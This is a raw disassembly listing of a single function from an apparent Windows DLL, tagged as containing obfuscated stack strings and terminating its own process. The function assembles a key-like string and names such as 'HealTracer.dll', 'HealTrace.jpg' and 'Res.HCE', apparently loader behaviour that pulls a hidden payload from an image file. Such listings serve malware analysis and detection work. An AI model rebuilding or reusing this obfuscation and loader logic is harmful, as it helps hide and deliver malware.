Function at 0x18000c7d0
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
xor r14d, r14d
mov dword [rbp + 0x100], r14d
lea ecx, [r14 + 0x20]
call fcn.180013ffc
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov qword [rbp + 0x110], rax
mov dword [rsp + 0x40], 0x59454655
mov dword [rsp + 0x44], 0x58686e41
mov dword [rsp + 0x48], 0x6b437268
mov dword [rsp + 0x4c], 0x48644376
mov dword [rsp + 0x50], 0x35396a71
mov dword [rsp + 0x54], 0x49684674
mov dword [rsp + 0x58], 0x55454456
mov dword [rsp + 0x5c], 0x5361476e
movdqa xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
lea ecx, [r14 + 0x20]
call fcn.180013ffc
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rax
lea rbx, [rax + 0x20]
mov qword [rbp + 0x50], rbx
lea r8d, [r14 + 0x20]
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.180037d60
mov qword [rbp + 0x48], rbx
mov dword [rsp + 0x60], 0x6c616548
mov dword [rsp + 0x64], 0x696c6e4f
mov word [rsp + 0x68], 0x656e
mov qword [rbp + 0x58], r14
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x60], xmm0
lea ecx, [r14 + 0xa]
call fcn.180013ffc
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x60], rax
lea rbx, [rax + 0xa]
mov qword [rbp + 0x68], rbx
lea r8d, [r14 + 0xa]
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.180037d60
mov qword [rbp + 0x60], rbx
mov dword [rsp + 0x70], 0x6c616548
mov dword [rsp + 0x74], 0x63617254
mov dword [rsp + 0x78], 0x642e7265
mov word [rsp + 0x7c], 0x6c6c
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r14
lea ecx, [r14 + 0xe]
call fcn.180013ffc
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rax
lea rbx, [rax + 0xe]
mov qword [rbp + 0x80], rbx
lea r8d, [r14 + 0xe]
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.180037d60
mov qword [rbp + 0x78], rbx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
lea rax, [rbp + 0x88]
mov qword [rbp + 0x100], rax
lea rax, [rbp + 0x40]
mov qword [rbp + 0x108], rax
lea r9, [rbp + 0x100]
lea r8, [rbp + 0x108]
lea edx, [r14 + 3]
lea rcx, [rbp - 0x40]
call fcn.18000d760
nop
lea r9, [0x1800041c0]
lea edx, [r14 + 0x18]
lea r8d, [r14 + 3]
lea rcx, [rbp + 0x40]
call fcn.18001406c
mov rax, qword [rbp - 0x40]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov ecx, r14d
mov qword [rbp - 0x70], rcx
mov edx, 0xf
mov qword [rbp - 0x68], rdx
mov byte [rbp - 0x80], cl
mov dword [rbp + 0x100], 1
mov rbx, qword [rax + 0x20]
mov rdi, qword [rax + 0x18]
cmp rdi, rbx
je 0x18000ca19
movzx r9d, byte [rdi]
cmp rcx, rdx
jae 0x18000c9fa
lea rax, [rcx + 1]
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x80]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x18000ca03
lea rcx, [rbp - 0x80]
call fcn.180008140
inc rdi
cmp rdi, rbx
je 0x18000ca15
mov rdx, qword [rbp - 0x68]
mov rcx, qword [rbp - 0x70]
jmp 0x18000c9d1
mov rax, qword [rbp - 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov r8, r14
mov qword [rsp + 0x50], r14
mov ecx, 0xf
mov qword [rsp + 0x58], rcx
mov byte [rsp + 0x40], r8b
mov dword [rbp + 0x100], 3
mov rbx, qword [rax + 0x38]
mov rdi, qword [rax + 0x30]
cmp rdi, rbx
je 0x18000ca99
nop
movzx r9d, byte [rdi]
cmp r8, rcx
jae 0x18000ca7d
lea rax, [r8 + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rcx, 0xf
cmova rax, qword [rsp + 0x40]
mov byte [rax + r8], r9b
mov byte [rax + r8 + 1], 0
jmp 0x18000ca87
lea rcx, [rsp + 0x40]
call fcn.180008140
inc rdi
mov rcx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x50]
cmp rdi, rbx
jne 0x18000ca50
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
lea rdx, [rsp + 0x40]
cmp rcx, 0xf
cmova rdx, qword [rsp + 0x40]
lea rcx, [rbp]
call fcn.180004e90
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
lea rcx, [rbp + 0x20]
call fcn.180004e90
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x18000cb35
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000cb30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d04e
call fcn.180013ff4
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x18000cb83
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000cb7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d054
call fcn.180013ff4
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov rcx, r14
mov qword [rbp - 0x50], rcx
mov edx, 0xf
mov qword [rbp - 0x48], rdx
mov byte [rbp - 0x60], cl
mov dword [rbp + 0x100], 4
mov rax, qword [rbp - 0x40]
mov rbx, qword [rax + 8]
mov rdi, qword [rax]
cmp rdi, rbx
je 0x18000cc0b
movzx r9d, byte [rdi]
cmp rcx, rdx
jae 0x18000cbf0
lea rax, [rcx + 1]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x18000cbf9
lea rcx, [rbp - 0x60]
call fcn.180008140
inc rdi
cmp rdi, rbx
je 0x18000cc0b
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x50]
jmp 0x18000cbc7
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], 0xd
mov qword [rbp - 0x10], 0xf
movsd xmm0, qword [str.HealTrace.jpg]
movsd qword [rbp - 0x28], xmm0
mov eax, dword [0x180046c40]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x180046c44]
mov byte [rbp - 0x1c], al
mov byte [rbp - 0x1b], 0
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x28]
mov rcx, rsi
call fcn.18000d950
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x18000cc92
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000cc8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d05a
call fcn.180013ff4
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x18000ccdd
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000ccd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d060
call fcn.180013ff4
mov rcx, qword [rsi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 8
jb 0x18000d066
mov r9, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x18000cd05
mov r9, qword [rsi]
mov qword [rsp + 0x30], 8
lea rax, str.Res.HCE
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x60]
call fcn.180005fd0
nop
lea rdx, [rbp - 0x60]
lea rcx, [rbp]
call fcn.180001180
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x18000cd72
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000cd6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d06c
call fcn.180013ff4
lea rdx, [rbp]
lea rcx, [rbp + 0xb0]
call fcn.180008c00
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x90]
call fcn.180008c00
nop
call fcn.1800024d0
test al, al
jne 0x18000cdb0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xb0]
call fcn.18000b230
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x18000ce13
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000ce0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d072
call fcn.180013ff4
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x18000ce6d
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000ce68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d078
call fcn.180013ff4
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x18000cec1
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000cebc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d07e
call fcn.180013ff4
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x18000cf0c
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000cf07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d07e
call fcn.180013ff4
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rbx, qword [rbp - 0x40]
test rbx, rbx
je 0x18000cfe2
mov rdi, qword [rbp - 0x38]
cmp rbx, rdi
je 0x18000cf83
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000cf76
mov rdx, qword [rbx + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000cf66
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000d042
mov rcx, r8
call fcn.180013ff4
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
add rbx, 0x18
cmp rbx, rdi
jne 0x18000cf32
mov rbx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x30]
sub rcx, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x18000cfce
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000d042
mov rcx, rbx
call fcn.180013ff4
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x18000d018
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x18000d013
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000d048
mov rcx, r8
call fcn.180013ff4
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov edx, 0x20
mov rcx, rsi
call fcn.180013ff4
add rsp, 0x1d0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.18001b33c
nop
call fcn.18001b33c
nop
call fcn.18001b33c
nop
call fcn.18001b33c
nop
call fcn.18001b33c
nop
call fcn.18001b33c
int3
call fcn.1800090a0
int3
call fcn.18001b33c
nop
call fcn.18001b33c
nop
call fcn.18001b33c
nop
call fcn.18001b33c
int3